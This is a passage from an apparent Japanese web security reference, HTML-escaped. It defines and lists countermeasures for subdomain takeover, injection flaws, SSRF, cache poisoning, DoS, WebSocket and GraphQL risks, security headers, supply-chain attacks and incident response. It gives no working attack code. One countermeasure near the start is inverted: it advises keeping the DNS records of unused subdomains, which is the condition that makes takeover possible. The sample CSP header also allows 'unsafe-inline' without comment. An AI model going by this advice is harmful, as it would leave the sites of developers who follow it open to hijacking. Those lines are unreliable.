&lt;li&gt;&lt;strong&gt;クッキーの盗難&lt;/strong&gt;: 同一オリジンポリシーの悪用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ブランドの毀損&lt;/strong&gt;: 正規サイトを装った悪意のあるコンテンツの公開&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DNSレコードの監視&lt;/strong&gt;: 使用されていないサブドメインのDNSレコードを削除しない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CNAMEレコードの確認&lt;/strong&gt;: 外部サービスのCNAMEレコードが正しく設定されているか確認&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定期的な監査&lt;/strong&gt;: サブドメインの使用状況を定期的に確認&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;その他の重要な脆弱性&lt;/h3&gt;
&lt;h4&gt;コマンドインジェクション&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: システムコマンドを実行する際に、ユーザー入力が適切に処理されず、任意のコマンドが実行される脆弱性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;: シェル実行を避ける、入力値の検証、最小権限の原則&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;LDAPインジェクション&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: LDAPクエリに悪意のある入力が注入される脆弱性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;: パラメータ化クエリ、入力値の検証&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;XPathインジェクション&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: XPathクエリに悪意のある入力が注入される脆弱性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;: パラメータ化クエリ、入力値の検証&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;サーバーサイドリクエストフォージェリ（SSRF）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: サーバーが任意のURLにリクエストを送信できてしまう脆弱性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;詳細&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻撃の仕組み&lt;/strong&gt;: 内部ネットワークへのアクセス、ローカルファイルの読み取り&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;影響範囲&lt;/strong&gt;: 内部システムへの不正アクセス、クラウドメタデータサービスの悪用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;: 許可されたURLのみ許可、内部ネットワークへのアクセスを制限、URLスキームの検証&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;クライアントサイドテンプレートインジェクション（CSTI）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: クライアント側のテンプレートエンジンに悪意のあるコードが注入される脆弱性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;: テンプレートのサニタイゼーション、CSPの設定&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;メールヘッダーインジェクション&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: メール送信機能において、メールヘッダーに悪意のある内容が注入される脆弱性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;: 改行文字の除去、入力値の検証&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;不適切なキャッシュ制御&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: 機密情報がキャッシュされ、他ユーザーに漏洩する脆弱性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;詳細&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ブラウザキャッシュ&lt;/strong&gt;: 機密情報がブラウザにキャッシュされる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;プロキシキャッシュ&lt;/strong&gt;: 中間プロキシにキャッシュされる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CDNキャッシュ&lt;/strong&gt;: CDNにキャッシュされる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;: 適切なCache-Controlヘッダーの設定、機密情報のキャッシュ無効化、no-store、no-cacheの使用&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;ホームページ乗っ取り&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;Webサイトの管理者権限を取得し、サイトの内容を改ざんする攻撃です。&lt;/p&gt;
&lt;h4&gt;攻撃の手法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;FTP/SSH認証情報の盗取&lt;/strong&gt;: フィッシング、キーロガーなど&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CMSの脆弱性の悪用&lt;/strong&gt;: WordPress、Joomlaなどのプラグインの脆弱性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SQLインジェクション&lt;/strong&gt;: データベースの内容を改ざん&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ファイルアップロードの脆弱性&lt;/strong&gt;: Web Shellのアップロード&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;多要素認証の導入&lt;/strong&gt;: FTP/SSHアクセスに多要素認証を設定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CMSの更新&lt;/strong&gt;: 定期的な更新とパッチの適用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最小権限の原則&lt;/strong&gt;: 必要最小限の権限のみ付与&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定期的な監視&lt;/strong&gt;: ファイルの改ざん検知&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;キャッシュポイズニング&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;攻撃者がキャッシュサーバーに悪意のあるコンテンツを保存させ、他のユーザーに配信させる攻撃です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;HTTPヘッダーインジェクションを利用&lt;/li&gt;
&lt;li&gt;キャッシュキーの生成に不備がある場合、異なるコンテンツが同じキーでキャッシュされる&lt;/li&gt;
&lt;li&gt;ユーザーが悪意のあるコンテンツを閲覧&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;キャッシュキーの適切な生成&lt;/strong&gt;: リクエストのすべての重要な要素を含める&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Varyヘッダーの使用&lt;/strong&gt;: キャッシュキーの生成に影響するヘッダーを指定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;キャッシュ制御の適切な設定&lt;/strong&gt;: 機密情報はキャッシュしない&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;サービス拒否攻撃（DoS/DDoS）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;サービスを利用不能にする攻撃です。DoSは単一のソースから、DDoSは複数のソースから同時に攻撃を行います。&lt;/p&gt;
&lt;h4&gt;攻撃の種類&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;アプリケーション層DoS（Layer 7 DDoS）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Slowloris攻撃&lt;/strong&gt;: HTTPリクエストをゆっくり送信してサーバーリソースを消費&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTP Flood&lt;/strong&gt;: 大量のHTTPリクエストを送信&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Slow HTTP POST&lt;/strong&gt;: POSTリクエストのボディをゆっくり送信&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ネットワーク層DoS（Layer 3/4 DDoS）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SYN Flood&lt;/strong&gt;: 大量のSYNパケットを送信&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UDP Flood&lt;/strong&gt;: 大量のUDPパケットを送信&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ICMP Flood&lt;/strong&gt;: 大量のICMPパケットを送信&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;アプリケーション固有のDoS&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XML爆弾（Billion Laughs攻撃）&lt;/strong&gt;: XMLエンティティの再帰的な展開&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;正規表現DoS（ReDoS）&lt;/strong&gt;: 悪意のある正規表現による処理時間の増加&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デシリアライゼーションDoS&lt;/strong&gt;: 巨大なオブジェクトのデシリアライゼーション&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;レート制限&lt;/strong&gt;: IPアドレスやユーザーごとのリクエスト数を制限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DDoS対策サービス&lt;/strong&gt;: クラウドベースのDDoS対策サービスの利用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CDNの活用&lt;/strong&gt;: トラフィックを分散&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;タイムアウトの設定&lt;/strong&gt;: 長時間接続を切断&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リソース制限&lt;/strong&gt;: CPU、メモリ、接続数の制限&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;WebSocketセキュリティ&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;WebSocket接続におけるセキュリティ上の脆弱性です。&lt;/p&gt;
&lt;h4&gt;主な脆弱性&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;認証の不備&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;WebSocket接続時に認証チェックが不十分&lt;/li&gt;
&lt;li&gt;セッション管理の不備&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;メッセージの検証不足&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;メッセージサイズの制限がない&lt;/li&gt;
&lt;li&gt;メッセージ内容の検証が不十分&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;クロスサイトWebSocketハイジャック（CSWSH）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;クロスサイトリクエストでWebSocket接続を確立&lt;/li&gt;
&lt;li&gt;認証情報が自動的に送信される&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Originヘッダーの検証&lt;/strong&gt;: 許可されたオリジンからの接続のみ許可&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認証トークンの使用&lt;/strong&gt;: WebSocket接続時に認証トークンを検証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;メッセージの検証&lt;/strong&gt;: メッセージサイズと内容を検証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;暗号化通信&lt;/strong&gt;: WSS（WebSocket Secure）の使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レート制限&lt;/strong&gt;: WebSocket接続とメッセージのレート制限&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;GraphQLセキュリティ&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;GraphQL APIにおけるセキュリティ上の脆弱性です。&lt;/p&gt;
&lt;h4&gt;主な脆弱性&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;クエリの複雑さによるDoS&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;深いネストされたクエリ&lt;/li&gt;
&lt;li&gt;大量のフィールドを要求するクエリ&lt;/li&gt;
&lt;li&gt;循環参照を利用したクエリ&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;認証・認可の不備&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;フィールドレベルでの認可チェックが不十分&lt;/li&gt;
&lt;li&gt;認証トークンの検証が不十分&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;情報漏洩&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;エラーメッセージに詳細情報が含まれる&lt;/li&gt;
&lt;li&gt;イントロスペクション（スキーマ情報の取得）が有効&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;バッチリクエスト攻撃&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;複数のクエリを一度に実行&lt;/li&gt;
&lt;li&gt;リソース消費の増加&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;クエリの複雑さ制限&lt;/strong&gt;: クエリの深さ、フィールド数、エイリアス数を制限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レート制限&lt;/strong&gt;: クエリの実行回数を制限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;フィールドレベルの認可&lt;/strong&gt;: 各フィールドへのアクセス権限をチェック&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;イントロスペクションの無効化&lt;/strong&gt;: 本番環境ではイントロスペクションを無効化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エラーメッセージの制御&lt;/strong&gt;: 詳細なエラー情報を非表示&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Webアプリケーションファイアウォール（WAF）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;Webアプリケーションの前に配置され、HTTP/HTTPSトラフィックを監視・フィルタリングするセキュリティシステムです。&lt;/p&gt;
&lt;h4&gt;主な機能&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;攻撃パターンの検知&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;SQLインジェクション、XSS、コマンドインジェクションなどの検知&lt;/li&gt;
&lt;li&gt;シグネチャベースの検知&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;レート制限&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;IPアドレスやセッションごとのリクエスト数制限&lt;/li&gt;
&lt;li&gt;APIレート制限&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ボット対策&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;悪意のあるボットの検知とブロック&lt;/li&gt;
&lt;li&gt;CAPTCHAの表示&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;DDoS対策&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;異常なトラフィックの検知とブロック&lt;/li&gt;
&lt;li&gt;トラフィックの分散&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;設定の注意点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;誤検知（False Positive）&lt;/strong&gt;: 正常なリクエストをブロックしないよう調整&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ルールの更新&lt;/strong&gt;: 最新の攻撃パターンに対応したルールの更新&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パフォーマンスへの影響&lt;/strong&gt;: レスポンス時間への影響を考慮&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;レート制限（Rate Limiting）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;一定時間内のリクエスト数を制限するセキュリティ対策です。&lt;/p&gt;
&lt;h4&gt;実装方法&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;トークンバケット（Token Bucket）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;一定時間ごとにトークンを補充&lt;/li&gt;
&lt;li&gt;リクエストごとにトークンを消費&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;スライディングウィンドウ（Sliding Window）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;時間窓内のリクエスト数をカウント&lt;/li&gt;
&lt;li&gt;時間窓をスライドさせて制限&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;固定ウィンドウ（Fixed Window）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;固定の時間窓でリクエスト数をカウント&lt;/li&gt;
&lt;li&gt;シンプルだが、ウィンドウ境界で集中する可能性&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;制限の単位&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IPアドレス&lt;/strong&gt;: IPアドレスごとに制限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ユーザー&lt;/strong&gt;: 認証済みユーザーごとに制限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;APIキー&lt;/strong&gt;: APIキーごとに制限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エンドポイント&lt;/strong&gt;: エンドポイントごとに異なる制限&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;実装例&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HTTPステータスコード&lt;/strong&gt;: 429 Too Many Requestsを返す&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Retry-Afterヘッダー&lt;/strong&gt;: 再試行可能な時間を通知&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;X-RateLimit-*ヘッダー&lt;/strong&gt;: 制限情報をクライアントに通知&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;バージョン情報の漏洩&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;アプリケーションやサーバーのバージョン情報が漏洩し、既知の脆弱性を悪用されるリスクです。&lt;/p&gt;
&lt;h4&gt;漏洩経路&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;HTTPヘッダー&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Serverヘッダー: Server: Apache/2.4.41&lt;/li&gt;
&lt;li&gt;X-Powered-Byヘッダー: X-Powered-By: PHP/7.4.3&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;エラーメッセージ&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;スタックトレースにバージョン情報が含まれる&lt;/li&gt;
&lt;li&gt;データベースエラーメッセージにバージョン情報&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;デフォルトファイル&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;デフォルトのエラーページ&lt;/li&gt;
&lt;li&gt;デフォルトのロボットファイル&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ソースコード&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;コメント内のバージョン情報&lt;/li&gt;
&lt;li&gt;ライブラリのバージョン情報&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HTTPヘッダーの非表示&lt;/strong&gt;: バージョン情報を含むヘッダーを削除または偽装&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エラーメッセージの制御&lt;/strong&gt;: バージョン情報を含めない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デフォルトファイルの削除&lt;/strong&gt;: 不要なデフォルトファイルを削除&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ソースコードの最適化&lt;/strong&gt;: 本番環境ではコメントを削除&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;セキュリティヘッダーの完全なリスト&lt;/h3&gt;
&lt;h4&gt;HTTP Strict Transport Security (HSTS)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;: HTTPS通信を強制&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パラメータ&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;max-age: 有効期限（秒）&lt;/li&gt;
&lt;li&gt;includeSubDomains: サブドメインにも適用&lt;/li&gt;
&lt;li&gt;preload: HSTSプリロードリストに登録&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Content Security Policy (CSP)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;: XSS攻撃の防止&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;: Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主要ディレクティブ&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;default-src: デフォルトのソース&lt;/li&gt;
&lt;li&gt;script-src: スクリプトのソース&lt;/li&gt;
&lt;li&gt;style-src: スタイルシートのソース&lt;/li&gt;
&lt;li&gt;img-src: 画像のソース&lt;/li&gt;
&lt;li&gt;connect-src: 接続先（fetch、XMLHttpRequestなど）&lt;/li&gt;
&lt;li&gt;frame-ancestors: フレームの親要素&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;X-Frame-Options&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;: クリックジャッキング攻撃の防止&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;: X-Frame-Options: DENY または SAMEORIGIN&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;値&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;DENY: すべてのフレームでの埋め込みを拒否&lt;/li&gt;
&lt;li&gt;SAMEORIGIN: 同一オリジンからのみ埋め込みを許可&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;X-Content-Type-Options&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;: MIMEタイプスニッフィングの防止&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;: X-Content-Type-Options: nosniff&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;効果&lt;/strong&gt;: ブラウザがファイルの内容からMIMEタイプを推測しない&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Referrer-Policy&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;: リファラー情報の制御&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;: Referrer-Policy: strict-origin-when-cross-origin&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;値&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;no-referrer: リファラーを送信しない&lt;/li&gt;
&lt;li&gt;same-origin: 同一オリジンのみ送信&lt;/li&gt;
&lt;li&gt;strict-origin-when-cross-origin: クロスオリジン時はオリジンのみ送信&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Permissions-Policy（旧Feature-Policy）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;: ブラウザ機能の使用を制限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;: Permissions-Policy: geolocation=(), microphone=(), camera=()&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主要機能&lt;/strong&gt;: geolocation、microphone、camera、payment、usbなど&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Expect-CT&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;: 証明書の透明性を強制&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;: Expect-CT: max-age=86400, enforce&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注意&lt;/strong&gt;: 2024年6月で廃止予定&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Clear-Site-Data&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;: ブラウザに保存されたデータの削除を要求&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;: Clear-Site-Data: "cache", "cookies", "storage"&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Cross-Origin-Embedder-Policy (COEP)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;: クロスオリジンリソースの埋め込みを制御&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;: Cross-Origin-Embedder-Policy: require-corp&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Cross-Origin-Opener-Policy (COOP)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;: クロスオリジンウィンドウ間の通信を制御&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;: Cross-Origin-Opener-Policy: same-origin&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Cross-Origin-Resource-Policy (CORP)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;: クロスオリジンリソースの読み込みを制御&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;: Cross-Origin-Resource-Policy: same-origin&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;サプライチェーン攻撃&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;サードパーティのライブラリ、フレームワーク、サービスを悪用した攻撃です。&lt;/p&gt;
&lt;h4&gt;攻撃の種類&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;依存関係の悪用&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;悪意のあるパッケージの配布（Typosquatting）&lt;/li&gt;
&lt;li&gt;正規パッケージの乗っ取り&lt;/li&gt;
&lt;li&gt;依存関係の脆弱性の悪用&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;CI/CDパイプラインの侵害&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;ビルドプロセスの改ざん&lt;/li&gt;
&lt;li&gt;デプロイメントスクリプトの悪用&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;CDNの侵害&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;CDNに配信されるリソースの改ざん&lt;/li&gt;
&lt;li&gt;サブドメインの乗っ取り&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;依存関係の監査&lt;/strong&gt;: 定期的な脆弱性スキャン&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パッケージの検証&lt;/strong&gt;: 署名の検証、ハッシュ値の確認&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最小権限の原則&lt;/strong&gt;: 必要最小限の依存関係のみ使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ソフトウェア部品表（SBOM）&lt;/strong&gt;: 使用しているコンポーネントの記録&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;サプライヤーの監査&lt;/strong&gt;: サプライヤーのセキュリティ体制の確認&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;インシデント対応&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;セキュリティインシデントが発生した際の対応プロセスです。&lt;/p&gt;
&lt;h4&gt;インシデント対応のフェーズ&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;準備（Preparation）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;インシデント対応計画の策定&lt;/li&gt;
&lt;li&gt;チームの編成と役割分担&lt;/li&gt;
&lt;li&gt;ツールとリソースの準備&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;検知（Detection）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;ログの監視&lt;/li&gt;
&lt;li&gt;異常な活動の検知&lt;/li&gt;
&lt;li&gt;アラートの設定&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;分析（Analysis）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;インシデントの影響範囲の特定&lt;/li&gt;
&lt;li&gt;攻撃の手法の分析&lt;/li&gt;
&lt;li&gt;被害の評価&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;封じ込め（Containment）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;被害の拡大を防止&lt;/li&gt;
&lt;li&gt;感染したシステムの分離&lt;/li&gt;
&lt;li&gt;一時的な対策の実施&lt;/li&gt;
&lt;/ol&gt;
